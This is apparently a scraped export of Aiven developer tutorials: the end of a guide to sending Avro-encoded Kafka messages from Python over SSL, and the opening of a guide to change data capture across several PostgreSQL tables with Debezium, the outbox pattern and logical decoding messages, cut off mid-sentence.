JSON\nwith a schema attached to it.\n\nBoth of these programs use SSL authentication. You can follow the\nprevious examples in this tutorial if you'd like to use SASL\nauthentication instead.\n\n### Setting up a producer to send Avro-encoded messages\n\nHere's an example of a Kafka consumer in Python using the\n[confluent-Kafka-python](https://github.com/confluentinc/confluent-kafka-python)\nlibrary to produce Avro-encoded messages. In a terminal window, run the\nfollowing producer code. The program should execute and exit. You won't\nsee anything yet since we need the consumer program to run next.\n\n``` python\n# Import required libraries\nfrom confluent_kafka import Producer\nfrom confluent_kafka.serialization import StringSerializer, SerializationContext, MessageField\nfrom confluent_kafka.schema_registry import SchemaRegistryClient\nfrom confluent_kafka.schema_registry.avro import AvroSerializer\n\n# Configure the Kafka producer\nconf = {\n \"bootstrap.servers\": f\"{HOST}:{SSL_PORT}\",\n \"security.protocol\": \"SSL\",\n \"ssl.ca.location\": \"ca.pem\",\n \"ssl.certificate.location\": \"service.cert\",\n \"ssl.key.location\": \"service.key\",\n \"client.id\": \"0001\",\n \"acks\": 1,\n \"compression.type\": \"gzip\",\n}\n\n# Configure the Avro schema registry\nschema_registry_conf = {\n \"url\": f\"{SCHEMA_REGISTRY_URI}\"\n}\nschema_registry_client = SchemaRegistryClient(schema_registry_conf)\n\n# Define the Avro schema for the message\nvalue_str = \"\"\"\n{\n\"namespace\": \"example.avro\",\n\"type\": \"record\",\n\"name\": \"User\",\n\"fields\": [\n {\"name\": \"name\", \"type\": \"string\"},\n {\"name\": \"age\", \"type\": [\"int\", \"null\"]}\n]\n}\n\"\"\"\n\nkey_str = \"\"\"\n{\n\"namespace\": \"example.avro\",\n\"type\": \"record\",\n\"name\": \"Id\",\n\"fields\": [\n {\"name\": \"id\", \"type\": \"int\"}\n]\n}\n\"\"\"\n\n# Define a class for the User object\nclass User(object):\n def __init__(self, name, age):\n self.name = name\n self.age = age\n\n# Define a class for the Key object\nclass Key(object):\n def __init__(self, id):\n self.id = id\n\n# Converting user object to key for AvroSerializer function\ndef user_to_dict(user, ctx):\n return dict(\n name=user.name,\n age=user.age,\n )\n\n# Converting key object to key for AvroSerializer function\ndef key_to_dict(key, ctx):\n return dict(id=key.id)\n\n# Create the Avro serializer\navro_serializer_value = AvroSerializer(\n schema_registry_client, value_str, user_to_dict\n)\navro_serializer_key = AvroSerializer(\n schema_registry_client, key_str, key_to_dict\n)\n# Create the string serializer for Key\nstring_serializer = StringSerializer(\"utf_8\")\n\n# Create the Kafka producer\nproducer = Producer(conf)\n\n# Define the message key and payload\nkey = Key(id=1)\npayload = User(name=\"John\", age=30)\n\n# Send the message to the Kafka topic\ntopic = \"demo-topic\"\nproducer.produce(\n topic=topic,\n key=avro_serializer_key(\n key, SerializationContext(topic, MessageField.KEY)\n ),\n value=avro_serializer_value(\n payload,\n SerializationContext(topic, MessageField.VALUE),\n ),\n)\n\n# Wait for any outstanding messages to be delivered and delivery reports to be received\nproducer.flush()\n```\n\n### Setting up a consumer to receive Avro-encoded messages\n\nWith the producer program completed on one terminal, open up another\nterminal and run the following consumer program.\n\n``` python\n# Import required libraries\nfrom confluent_kafka import DeserializingConsumer\nfrom confluent_kafka.serialization import SerializationContext, MessageField, StringSerializer\nfrom confluent_kafka.schema_registry import SchemaRegistryClient\nfrom confluent_kafka.schema_registry.avro import AvroDeserializer\n\n\n# Configure the Kafka consumer\nconf = {\n 'bootstrap.servers': f\"{HOST}:{SSL_PORT}\",\n 'group.id': 'demo-consumer-group',\n 'auto.offset.reset': 'earliest',\n 'security.protocol': 'SSL',\n 'ssl.ca.location': 'ca.pem',\n 'ssl.key.location': 'service.key',\n 'ssl.certificate.location': 'service.cert'\n}\n\n# Configure the Avro schema registry\nschema_registry_conf = {\n \"url\": f\"{SCHEMA_REGISTRY_URI}\"\n}\nschema_registry_client = SchemaRegistryClient(schema_registry_conf)\n\n# Define the Avro schema for the message\nvalue_str = \"\"\"\n{\n\"namespace\": \"example.avro\",\n\"type\": \"record\",\n\"name\": \"User\",\n\"fields\": [\n {\"name\": \"name\", \"type\": \"string\"},\n {\"name\": \"age\", \"type\": [\"int\", \"null\"]}\n]\n}\n\"\"\"\n\nkey_str = \"\"\"\n{\n\"namespace\": \"example.avro\",\n\"type\": \"record\",\n\"name\": \"Id\",\n\"fields\": [\n {\"name\": \"id\", \"type\": \"int\"}\n]\n}\n\"\"\"\n\n# Define a class for the User object\nclass User(object):\n def __init__(self, name, age):\n self.name = name\n self.age = age\n\n# Define a class for the Key object\nclass Key(object):\n def __init__(self, id):\n self.id = id\n\n# Converting dict to User object for AvroDeserializer function\ndef dict_to_user(obj, ctx):\n return User(name=obj['name'],\n age=obj['age']\n )\n\n# Converting dict to Key object for AvroDeserializer function\ndef dict_to_key(obj, ctx):\n return Key(id=obj[\"id\"])\n\n# Create the Avro deserializer\navro_deserializer_value = AvroDeserializer(\n schema_registry_client, value_str, dict_to_user\n)\n\navro_deserializer_key = AvroDeserializer(\n schema_registry_client, key_str, dict_to_key\n)\n\n# Create the Kafka consumer\nconsumer = DeserializingConsumer(\n conf\n)\n\n# Subscribe to the Kafka topic\nconsumer.subscribe(['demo-topic'])\n\n# Consume messages from the Kafka topic\nwhile True:\n try:\n msg = consumer.poll(1.0)\n\n if msg is None:\n continue\n\n if msg.error():\n print(\"Consumer error: {}\".format(msg.error()))\n continue\n\n user = avro_deserializer_value(\n msg.value(), SerializationContext(msg.topic(), MessageField.VALUE)\n )\n key = avro_deserializer_key(\n msg.key(), SerializationContext(msg.topic(), MessageField.KEY)\n )\n\n if user is not None and key is not None:\n print(\n \"Key --\u003e {}\\n\"\n \"User record --\u003e name: {},\"\n \" age: {}\\n\".format(key.id, user.name, user.age)\n )\n\n except KeyboardInterrupt:\n break\n\n # Commit the offset for the message\n consumer.commit()\n```\n\n### Observation\n\nOnce you execute the consumer program, you should see the following\noutput on the second terminal while the consumer program stays running\nuntil you hit `ctrl+C`:\n\n``` shell\nKey --\u003e 1\nUser record --\u003e name: John, age: 30\n```\n\nHere's an overview of what each program does:\n\n#### Producer program\n\nThe producer program uses the `confluent-kafka` library to create an\nAvroProducer instance and send Avro messages to a Kafka broker. The program will:\n\n- Import the necessary libraries: `confluent_kafka`,\n `confluent_kafka.avro`, `ssl`, and `io`.\n- Define the URL of the Kafka broker and the Avro schema for the\n message.\n- Set up SSL configuration by creating an SSL context and loading the\n client certificate, key, and CA certificate.\n- Define the AvroProducer configuration, including the SSL settings\n and the Avro schema.\n- Create an AvroProducer instance.\n- Send a sample Avro message to the Kafka broker.\n\n#### Consumer program\n\nThe consumer program uses the `confluent-kafka` library to create an\nAvroConsumer instance and receive Avro messages from a Kafka broker.\nThe program will:\n\n- Import the necessary libraries: `confluent_kafka`,\n `confluent_kafka.avro`, and `ssl`.\n- Define the URL of the Kafka broker, the URL of the schema registry,\n and the Avro schema for the message.\n- Set up SSL configuration by creating an SSL context and loading the\n client certificate, key, and CA certificate.\n- Define the AvroConsumer configuration, including the SSL settings\n and the Avro schema.\n- Create an AvroConsumer instance and subscribe to the Kafka topic.\n- Consume messages from Kafka and deserialize them using the Avro\n schema.\n- Process the messages as desired.\n\nYou might have noticed `avro_serializer_key`, `avro_serializer_value`,\n`avro_deserializer_key`, and `avro_deserializer_value` in these\nprograms. Since Kafka brokers don't know about the records and only\ndeal in bytes, the programs need to serialize and deserialize data\nbefore making sense of them. Overall, these two programs demonstrate how\nto use Avro serialization and SSL protocols to send and receive messages\nto/from a Kafka broker.\n\n## Wrap up\n\nIn this tutorial, we went over creating a highly available Apache Kafka\nservice and some key Kafka concepts like topic, partition, producer,\nconsumer, and consumer groups. We also learned the need for data\nserialization in Kafka and use of Apache Avro™ to produce and consume\nmessages. Finally, we validated our understanding by creating multiple\nPython programs to send and receive messages to/from Kafka.\n\n## Reference\n\n### Variables\n\n| Variable | Description |\n|---|---|\n| `HOST` | Host name for the connection |\n| `USER_NAME` or `SASL_USERNAME` | Name of the user for the connection |\n| `SSL_PORT` | Port number to use for SSL |\n| `SASL_PORT` | Port number to use for SASL |\n| `SCHEMA_REGISTRY_HOST` | Host address for the schema registry |\n| `SCHEMA_REGISTRY_PORT` | Port number for the schema registry |\n| `SASL_PASSWORD` | Password required to connect using SASL |\n| `TRUSTSTORE_LOCATION` | Location of your truststore (named by default as client.truststore.jks) |\n| `TRUSTSTORE_PASSWORD` | Password you used when creating a truststore |\n| `KEYSTORE_LOCATION` | Location of you keystore (named by default as client.keystore.p12) |\n| `KEYSTORE_PASSWORD` | Password you used when creating a keystore |\n| `KEY_PASSWORD` | Password for the key in the keystore, if you chose a different password than the one for keystore |\n| `SERIALIZER` | How to serialize data, you can find available options [in the Apache Kafka documentation](https://kafka.apache.org/0102/javadoc/org/apache/kafka/common/serialization/) |\n| `DESERIALIZER` | How to de-serialize data, you can find available options [in the Apache Kafka documentation](https://kafka.apache.org/0102/javadoc/org/apache/kafka/common/serialization/) |\n\nFor consumers you will also need:\n\n| Variable | Description |\n|---|---|\n| `TOPIC_NAME` | The name of the topic to read from |\n| `START_FROM` | The value to use for the `auto_offset_reset` parameter,which says which message to start consuming from. Allowed values are `latest` (consume from the end of the topic partition) and `earliest` (consume from the beginning of the topic partition) |\n\nFor more information on `auto_offset_reset`, see the Kafka documentation\non\n[auto.offset.reset](https://kafka.apache.org/documentation/#consumerconfigs_auto.offset.reset)\nand [Consumer\nPosition](https://kafka.apache.org/documentation/#design_consumerposition).\n\n## Next steps\n\nCheck out [more Aiven tutorials](https://aiven.io/developer/tutorial) to learn about open-source data infrastructure.\n\n::banner[Learn how to use Apache Kafka® as a source and sink to process streaming data, and how to deploy that with Terraform. A part of Aiven's Terraform Cookbook.]{ctaText=\"Check the tutorial\" ctaLink=\"https://aiven.io/developer/kafka-source-sink-flink-integration\" title=\"Apache Kafka® as source and sink with Apache Flink® to process streaming data\" theme=\"dark\"}\n\n## Further reading\n\n- [View Apache Kafka® messages live in the Aiven Console](https://aiven.io/blog/kafka-messages-ui-announcement)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-04-07T12:07:43.335Z"},"internalTags":[],"publishedAt":"2023-04-03T12:07:00.000Z","seo":{"_type":"metaData","metaDescription":"Learn how to configure a connection to an Apache Kafka® cluster and use Apache Avro™ to send messages to it. Find out more in the Aiven Developer Center!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-7b38cf09a17b738e4848f322c3b934aa5a958d17-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/how-to-send-and-receive-application-data-from-apache-kafka"},"subtitle":"Configure a connection to an Apache Kafka® cluster and use Apache Avro™ to send messages to it.","tags":[{"_key":"e23dbc20bcd9","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"4cf9b4df14e1","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"How to send and receive application data from Apache Kafka®"} {"__i18n_lang":"en","_createdAt":"2023-10-10T11:49:40Z","_id":"1c9dd13c-41ec-4b0c-9d04-c47d0579291b","_rev":"CsJhS699U5wscrFy6fi5b3","_type":"devArticle","_updatedAt":"2024-12-05T16:47:20Z","body":"# Change data capture across multiple tables with PostgreSQL® logical decoding messages and Debezium\n\nChange data capture (CDC) is a widely adopted pattern to move data across systems. While the basic principle works well on small single table use-cases, things get complicated when we need to take into account consistency when information spans multiple tables. In cases like this, creating multiple 1-1 CDC flows is not enough to guarantee a consistent view of the data in the database because each table is tracked separately. Aligning data with transaction boundaries becomes a hard and error prone problem to be solve once the data left the database.\n\nThis tutorial shows how to use PostgreSQL® [logical decoding](https://www.postgresql.org/docs/current/logicaldecoding-explanation.html), the outbox pattern and Debezium to propagate a consistent view of a dataset spanning over multiple tables.\n\n::alert[This article describes the configuration for Debezium version 2.5 and later.]{title=\"Debezium 2.5\"}\n\n## Use case: A PostgreSQL based online shop \n\nRelational databases are based on an [entity-relationship](https://en.wikipedia.org/wiki/Entity%E2%80%93relationship_model) model, where entities are stored in tables, with each table having a key for uniqueness. Relationships take the form of foreign keys, that allow information from various tables to be joined.\n\nA practical example is the following with the three entities `users`, `products`, `orders`, and `order lines` and the relationships within them.\n\n![Architectural diagram of the entity-relationship model](https://cdn.sanity.io/images/sczeoy4w/production/6c35d762229583864378e27f4fc8d65b4b610086-5720x2280.png)\n\nIn the above picture, the `orders` table contains a foreign key to `users` (the user making the order), and the `order lines` table contains the foreign keys to `orders` and `products` allowing to understand to which order the line belongs and which products it includes. \n\nWe can recreate the above situation by [signing up for an Aiven account and accessing the console](https://console.aiven.io/signup), then creating a new Aiven for PostgreSQL® database. When the service is up and running, we can retrieve the connection URI from the service console page's Overview tab. \n\nWhen you have the connection URI, [connect with psql](https://aiven.io/docs/products/postgresql/howto/connect-psql) and run the following:\n\n```sql\nCREATE TABLE USERS (ID SERIAL PRIMARY KEY, USERNAME TEXT);\nINSERT INTO USERS (USERNAME) VALUES\n ('Franco'),('Giuseppina'),('Wiltord');\n```\n\n```sql\nCREATE TABLE PRODUCTS (\n ID SERIAL PRIMARY KEY,\n CATEGORY TEXT,\n NAME TEXT,\n PRICE INT\n );\n\nINSERT INTO PRODUCTS (CATEGORY, NAME, PRICE) VALUES\n ('t-shirt', 'red t-shirt',5),\n ('shoes', 'Wow shoe',35),\n ('t-shirt', 'blue t-shirt',15),\n ('dress', 'white-golden dress',50);\n```\n\n```sql\nCREATE TABLE ORDERS (\n ID SERIAL PRIMARY KEY,\n SHIPPING_ADDR TEXT,\n ORDER_DATE DATE,\n USER_ID INT,\n CONSTRAINT FK_USER\n FOREIGN KEY(USER_ID)\n REFERENCES USERS(ID)\n );\n\nINSERT INTO ORDERS (SHIPPING_ADDR, ORDER_DATE, USER_ID) VALUES \n ('Via Ugo 1', '02/08/2023',3),\n ('Piazza Carlo 2', '03/08/2023',1),\n ('Lincoln Street', '03/08/2023',2);\n```\n\n```sql\nCREATE TABLE ORDER_LINES (\n ID SERIAL PRIMARY KEY,\n ORDER_ID INT,\n PROD_ID INT,\n QTY INT,\n CONSTRAINT FK_ORDER\n FOREIGN KEY(ORDER_ID)\n REFERENCES ORDERS(ID),\n CONSTRAINT FK_PRODUCT\n FOREIGN KEY(PROD_ID)\n REFERENCES PRODUCTS(ID)\n );\n\nINSERT INTO ORDER_LINES (ORDER_ID, PROD_ID, QTY) VALUES\n (1,1,5),\n (1,4,1),\n (2,2,7),\n (2,4,2),\n (2,3,7),\n (2,1,1),\n (3,2,2);\n```\n\n## Start the Change Data Capture flow with the Debezium connector\n\nNow, if we want to send an event to Apache Kafka® every time a new order happens we can define a [Debezium CDC connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg) that includes all four tables defined above. \n\nTo do this, navigate to the [Aiven Console](https://console.aiven.io/) and create a new Aiven for Apache Kafka® service (we need at least a Business plan for this example, so that we can run a Kafka Connector). Then\n* Enable Kafka Connect from the **Connectors** tab of the service overview page.\n* Navigate to the bottom of the **Service Settings** tab and enable the `kafka.auto_create_topics_enable` configuration in the *Advanced parameter* section - this is not something we'd normally do in production, but it makes sense for our test purposes.\n \nFinally, when the service is up and running create a [Debezium CDC connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg) with the following JSON definition:\n\n```json\n{\n \"name\": \"mysourcedebezium\",\n \"connector.class\": \"io.debezium.connector.postgresql.PostgresConnector\",\n \"database.hostname\": \"\u003cHOSTNAME\u003e\",\n \"database.port\": \"\u003cPORT\u003e\",\n \"database.user\": \"avnadmin\",\n \"database.password\": \"\u003cPASSWORD\u003e\",\n \"database.dbname\": \"defaultdb\",\n \"topic.prefix\": \"mydebprefix\",\n \"plugin.name\": \"pgoutput\",\n \"slot.name\": \"mydeb_slot\",\n \"publication.name\": \"mydeb_pub\",\n \"publication.autocreate.mode\": \"filtered\",\n \"table.include.list\": \"public.users,public.products,public.orders,public.order_lines\"\n}\n```\n\nWhere:\n\n* `database.hostname`, `database.port`, `database.password` specify the Aiven for PostgreSQL connection parameters that can be found in the Aiven Console's service overview tab\n* `topic.prefix` is the prefix for the topic names in Aiven for Apache Kafka\n* `plugin.name` is the PostgreSQL plugin to use, `pgoutput`\n* `slot.name` and `publication.name` are the name of the replication slot and publication in PostgreSQL\n* `\"publication.autocreate.mode\": \"filtered\"` allows us to create a publication only for the tables in scope\n* `table.include.list` lists the tables for which we want to enable CDC\n\nThe connector will create four topics (one per table) and tracks the changes separately for each table.\n\n![Debezium to Kafka](https://cdn.sanity.io/images/sczeoy4w/production/6e7a314af8e340e4d2f624334826153d5b6ff1e6-7950x3346.png)\n\nIn Aiven for Apache Kafka we should see four different topics named `\u003cprefix\u003e.\u003cschema_name\u003e.\u003ctable_name\u003e` where:\n* `\u003cprefix\u003e` matches the `database.server.name` parameter (`mydebprefix`)\n* `\u003cschema_name\u003e` matches the name of the schema (`public` in our scenario)\n* `\u003ctable_name\u003e` matches the name of the tables (`users`, `products`, `orders`, and `order_lines`)\n\nIf we check with [kcat](https://aiven.io/docs/products/kafka/howto/kcat), the `mydebprefix.public.users` log in Apache Kafka, we should see data similar to the below\n\n```json\n{\"before\":null,\"after\":{\"id\":1,\"username\":\"Franco\"},\"source\":{\"version\":\"2.5.0.Final.Aiven\",\"connector\":\"postgresql\",\"name\":\"mydebprefix\",\"ts_ms\":1733413858488,\"snapshot\":\"first\",\"db\":\"defaultdb\",\"sequence\":\"[null,\\\"855639976\\\"]\",\"schema\":\"public\",\"table\":\"users\",\"txId\":2171,\"lsn\":855639976,\"xmin\":null},\"op\":\"r\",\"ts_ms\":1733413858959,\"transaction\":null}\n{\"before\":null,\"after\":{\"id\":2,\"username\":\"Giuseppina\"},\"source\":{\"version\":\"2.5.0.Final.Aiven\",\"connector\":\"postgresql\",\"name\":\"mydebprefix\",\"ts_ms\":1733413858488,\"snapshot\":\"true\",\"db\":\"defaultdb\",\"sequence\":\"[null,\\\"855639976\\\"]\",\"schema\":\"public\",\"table\":\"users\",\"txId\":2171,\"lsn\":855639976,\"xmin\":null},\"op\":\"r\",\"ts_ms\":1733413858959,\"transaction\":null}\n{\"before\":null,\"after\":{\"id\":3,\"username\":\"Wiltord\"},\"source\":{\"version\":\"2.5.0.Final.Aiven\",\"connector\":\"postgresql\",\"name\":\"mydebprefix\",\"ts_ms\":1733413858488,\"snapshot\":\"last_in_data_collection\",\"db\":\"defaultdb\",\"sequence\":\"[null,\\\"855639976\\\"]\",\"schema\":\"public\",\"table\":\"users\",\"txId\":2171,\"lsn\":855639976,\"xmin\":null},\"op\":\"r\",\"ts_ms\":1733413858959,\"transaction\":null}\n```\n\nThe above is the typical Debezium data representation with the `before` and `after` representations, as well as information about the transactions (`ts_ms` as example) and the data source (`schema`, `table` and others). This rich information will be useful later.\n\n## The consistency problem\n\nNow let's say `Franco`, one of our users, decides to issue a new order for the `white-golden dress`. Just a few seconds later, our company, due to an [online debate](https://en.wikipedia.org/wiki/The_dress) decides that the `white-golden dress` is now called `blue-black dress` and wants to charge `65$` instead of the `50$` original price.\n\n![Entity relationship model with the updates to the order, order-lines and products table](https://cdn.sanity.io/images/sczeoy4w/production/8b835cb0b6d571f2795f46cafe5cde19163c168a-6120x2400.png).\n\nThe first action can be represented by the following transaction in PostgreSQL:\n\n```sql\n--- Franco purchasing the white-golden dress\nBEGIN;\n INSERT INTO ORDERS (SHIPPING_ADDR, ORDER_DATE, USER_ID) VALUES \n ('Piazza Carlo 2', '04/08/2023',1);\n INSERT INTO ORDER_LINES (ORDER_ID, PROD_ID, QTY) VALUES \n (4,4,1);\nEND;\n```\n\nAfter which we can check the order details with the following query:\n\n```sql\nSELECT \n USERNAME,\n ORDERS.ID ORDER_ID,\n PRODUCTS.NAME PRODUCT_NAME,\n PRODUCTS.PRICE PRODUCT_PRICE,\n ORDER_LINES.QTY QUANTITY\nFROM\n USERS \n JOIN ORDERS ON USERS.ID = ORDERS.USER_ID\n JOIN ORDER_LINES ON ORDERS.ID = ORDER_LINES.ORDER_ID \n JOIN PRODUCTS ON ORDER_LINES.PROD_ID = PRODUCTS.ID\nWHERE ORDERS.ID = 4;\n```\n\nThis should report the correct order details:\n\n```\n username | order_id | product_name | product_price | quantity\n----------+----------+--------------------+---------------+----------\n Franco | 4 | white-golden dress | 50 | 1\n(1 row)\n```\n\nThe second action can be represented by the following transaction:\n\n```sql\n--- Our company updating name and the price of the white-golden dress\nBEGIN;\n UPDATE PRODUCTS SET \n NAME = 'blue-black dress', \n PRICE = 65\n WHERE ID = 4;\nEND;\n```\n\nWe can then repeat the query to find out the order details:\n\n```sql\nSELECT \n USERNAME,\n ORDERS.ID ORDER_ID,\n PRODUCTS.NAME PRODUCT_NAME,\n PRODUCTS.PRICE PRODUCT_PRICE,\n ORDER_LINES.QTY QUANTITY\nFROM\n USERS \n JOIN ORDERS ON USERS.ID = ORDERS.USER_ID\n JOIN ORDER_LINES ON ORDERS.ID = ORDER_LINES.ORDER_ID \n JOIN PRODUCTS ON ORDER_LINES.PROD_ID = PRODUCTS.ID\nWHERE ORDERS.ID = 4;\n```\n\nThe result now shows the order as `Franco` ordering a `blue-black dress` with an extra $15 cost.\n\n```\n username | order_id | product_name | product_price | quantity\n----------+----------+------------------+---------------+----------\n Franco | 4 | blue-black dress | 65 | 1\n(1 row)\n```\n\n## Recreate consistency in Apache Kafka\n\nWhen we look at the data in Apache Kafka, we can see all the changes in the topics. Browsing the `mydebprefix.public.order_lines` topic with kcat, we can check the new entry (the results in `mydebprefix.public.orders` would be similar):\n\n```json\n{\"before\":null,\"after\":{\"id\":8,\"order_id\":4,\"prod_id\":4,\"qty\":1},\"source\":{\"version\":\"2.5.0.Final.Aiven\",\"connector\":\"postgresql\",\"name\":\"mydebprefix\",\"ts_ms\":1733413959729,\"snapshot\":\"false\",\"db\":\"defaultdb\",\"sequence\":\"[null,\\\"872415888\\\"]\",\"schema\":\"public\",\"table\":\"order_lines\",\"txId\":2182,\"lsn\":872415888,\"xmin\":null},\"op\":\"c\",\"ts_ms\":1733413960339,\"transaction\":null}\n```\n\nAnd in `mydebprefix.public.products`, we can see entries like the following, showcasing the update from `white-golden dress` to `blue-black dress` and related price change:\n\n```json\n{\"before\":null,\"after\":{\"id\":4,\"category\":\"dress\",\"name\":\"white-golden dress\",\"price\":50},\"source\":{\"version\":\"2.5.0.Final.Aiven\",\"connector\":\"postgresql\",\"name\":\"mydebprefix\",\"ts_ms\":1733413858488,\"snapshot\":\"last_in_data_collection\",\"db\":\"defaultdb\",\"sequence\":\"[null,\\\"855639976\\\"]\",\"schema\":\"public\",\"table\":\"products\",\"txId\":2171,\"lsn\":855639976,\"xmin\":null},\"op\":\"r\",\"ts_ms\":1733413858972,\"transaction\":null}\n{\"before\":null,\"after\":{\"id\":4,\"category\":\"dress\",\"name\":\"blue-black dress\",\"price\":65},\"source\":{\"version\":\"2.5.0.Final.Aiven\",\"connector\":\"postgresql\",\"name\":\"mydebprefix\",\"ts_ms\":1733413976945,\"snapshot\":\"false\",\"db\":\"defaultdb\",\"sequence\":\"[\\\"872416184\\\",\\\"872416336\\\"]\",\"schema\":\"public\",\"table\":\"products\",\"txId\":2185,\"lsn\":872416336,\"xmin\":null},\"op\":\"u\",\"ts_ms\":1733413977590,\"transaction\":null}\n```\n\nThe question now is: How can we keep the order consistent with reality, where `Franco` purchased the `white-golden dress` for $50? \n\nAs mentioned before, the Debezium format stores lots of metadata in addition to the change data. We could make use of the transaction's metadata (`txId`, `lsn` and `ts_ms` for example) and additional tools like [Aiven for Apache Flink®](https://aiven.io/flink) to recreate a consistent view of the transaction via stream processing. That solution requires additional tooling that might not be in scope for us, however.\n\n## Use the outbox pattern in PostgreSQL\n\nAn alternative solution that doesn't require additional tooling is to propagate a consistent view of the data using an **outbox pattern** built in PostgreSQL. With the outbox pattern we store, alongside the original set of tables, an additional table which consolidates the information. With this pattern we can update both the original table and the outbox one within a transaction. \n\n![Architectural diagram showcasing the outbox table](https://cdn.sanity.io/images/sczeoy4w/production/9cddfa1c51f677cb2e3b39b87096a8fa79377d75-6160x3160.png)\n\n### Add a new outbox table in PostgreSQL\n\nHow do we implement the outbox pattern in PostgreSQL? The first option is to add a new dedicated table and update it within the same transaction changing the `ORDERS` and `ORDER_LINES` tables. We can define the outbox table as follows: \n\n```sql\nCREATE TABLE ORDER_OUTBOX (\n ORDER_LINE_ID INT,\n ORDER_ID INT,\n USERNAME TEXT,\n PRODUCT_NAME TEXT,\n PRODUCT_PRICE INT,\n QUANTITY INT\n);\n```\n\nWe can then add the `ORDER_OUTBOX` table in the `table.include.list` parameter for the Debezium Connector to track its changes. The last part of the equation is to update the outbox table at every order: if `Giuseppina` wants 5 `red t-shirts`, the transaction will need to change the `ORDERS`, `ORDER_LINES` and `ORDER_OUTBOX` tables like the following:\n\n```sql\nBEGIN;\n INSERT INTO ORDERS (ID, SHIPPING_ADDR, ORDER_DATE, USER_ID) VALUES \n (5, 'Lincoln Street', '05/08/2023',2);\n INSERT INTO ORDER_LINES (ORDER_ID, PROD_ID, QTY) VALUES \n (5,1,5);\n INSERT INTO ORDER_OUTBOX \n SELECT ORDER_LINES.ID, \n ORDERS.ID, \n USERNAME, \n NAME PRODUCT_NAME, \n PRICE PRODUCT_PRICE, \n QTY QUANTITY\n FROM USERS \n JOIN ORDERS ON USERS.ID = ORDERS.USER_ID\n JOIN ORDER_LINES ON ORDERS.ID = ORDER_LINES.ORDER_ID \n JOIN PRODUCTS ON ORDER_LINES.PROD_ID = PRODUCTS.ID\n WHERE ORDERS.ID=5;\nEND;\n```\n\nWith this transaction and the Debezium configuration change to include the `public.order_outbox` table in the CDC, we end up with a new topic called `mydebprefix.public.order_outbox`. It has the following data, which represents the consistent situation in PostgreSQL:\n\n```json\n{\"before\":null,\"after\":{\"order_line_id\":10,\"order_id\":5,\"username\":\"Giuseppina\",\"product_name\":\"red t-shirt\",\"product_price\":5,\"quantity\":5},\"source\":{\"version\":\"2.5.0.Final.Aiven\",\"connector\":\"postgresql\",\"name\":\"mydebprefix\",\"ts_ms\":1733414963621,\"snapshot\":\"false\",\"db\":\"defaultdb\",\"sequence\":\"[\\\"922748968\\\",\\\"922750584\\\"]\",\"schema\":\"public\",\"table\":\"order_outbox\",\"txId\":2297,\"lsn\":922750584,\"xmin\":null},\"op\":\"c\",\"ts_ms\":1733414964217,\"transaction\":null}\n```\n\nThis approach emits a new entry for every order line. We could also aggregate the outbox table at order level by, for example, adding the order lines information in a nested JSONB object.\n\n### Avoid the additional table with PostgreSQL logical decoding\n\nThe main problem with the outbox table approach is that we're storing the same information twice: once in the original tables and once in the outbox table. This doubles the storage needs, and the original applications that use the database generally not access it, making this an inefficient approach.\n\nA better, transactional approach, is to use [PostgreSQL logical decoding](https://www.postgresql.org/docs/current/logicaldecoding-explanation.html). Created originally for replication purposes, PostgreSQL logical decoding can also write [custom information](https://www.infoq.com/articles/wonders-of-postgres-logical-decoding-messages/) to the WAL log. Instead of re-storing the result of the joined data in another PostgreSQL table, we can emit the result as an entry to the WAL log. By doing it within a transaction, we can benefit from the transaction isolation therefore the entry in the log is committed only if the whole transaction is.\n\n![Architecture diagram with PostgreSQL logical decoding messages](https://cdn.sanity.io/images/sczeoy4w/production/9922b1d4cb90166f8e9fbc1202d4599f39cfe13a-6120x3280.png)\n\nTo use PostgreSQL logical decoding messages for our outbox pattern needs, we need to execute the following:\n\n```sql\nBEGIN;\nDO\n $$\n DECLARE\n JSON_ORDER text;\n begin\n INSERT INTO ORDERS (ID, SHIPPING_ADDR, ORDER_DATE, USER_ID) VALUES \n (6, 'Via Ugo 1', '05/08/2023',3);\n INSERT INTO ORDER_LINES (ORDER_ID, PROD_ID, QTY) VALUES \n (6,4,2),(6,3,3);\n\n SELECT JSONB_BUILD_OBJECT(\n 'order_id', ORDERS.ID, \n 'order_lines', \n JSONB_AGG(\n JSONB_BUILD_OBJECT(\n 'order_line', ORDER_LINES.ID, \n 'username', USERNAME, \n 'product_name', NAME, \n 'product_price',PRICE, \n 'quantity', QTY))) INTO JSON_ORDER\n FROM USERS \n JOIN ORDERS ON USERS.ID = ORDERS.USER_ID\n JOIN ORDER_LINES ON ORDERS.ID = ORDER_LINES.ORDER_ID \n JOIN PRODUCTS ON ORDER_LINES.PROD_ID = PRODUCTS.ID\n WHERE ORDERS.ID=6\n GROUP BY ORDERS.ID;\n\n SELECT * FROM pg_logical_emit_message(true,'myprefix',JSON_ORDER) into JSON_ORDER;\n END;\n $$;\nEND;\n```\n\nIn the above:\n\n* First we have two lines to insert the new order into the original tables\n\n ```sql\n INSERT INTO ORDERS (ID, SHIPPING_ADDR, ORDER_DATE, USER_ID) VALUES \n (6, 'Via Ugo 1', '05/08/2023',3);\n INSERT INTO ORDER_LINES (ORDER_ID, PROD_ID, QTY) VALUES \n (6,4,2),(6,3,3);\n ```\n\n* Next, we use `SELECT` and `JSONB_BUILD_OBJECT` to:\n - get the new order details from the source tables\n - create a unique JSON document (stored in the `JSON_ORDER` variable) for the entire order and store the results in an array for each line of the order\n\n* Finally, we need a `SELECT` statement to emit that `JSON_ORDER` variable as a logical message to the WAL file:\n\n ```sql\n SELECT * FROM\n pg_logical_emit_message(true,'myprefix',JSON_ORDER) into JSON_ORDER;\n ```\n\n `pg_logical_emit_message` has three arguments. The first, `true`, defines this operation as a part of a transaction. `myprefix` defines the message prefix, and `JSON_ORDER` is the content of the message.\n\n* The emitted JSON document should look similar to: \n\n ```json\n {\"order_id\": 6, \"order_lines\": [{\"quantity\": 2, \"username\": \"Wiltord\", \"order_line\": 19, \"product_name\": \"blue-black dress\", \"product_price\": 65}, {\"quantity\": 3, \"username\": \"Wiltord\", \"order_line\": 20, \"product_name\": \"blue t-shirt\", \"product_price\": 15}]}\n ```\n\nIf the above transaction is successful, we should see a new topic named `mydebprefix.message` that contains the 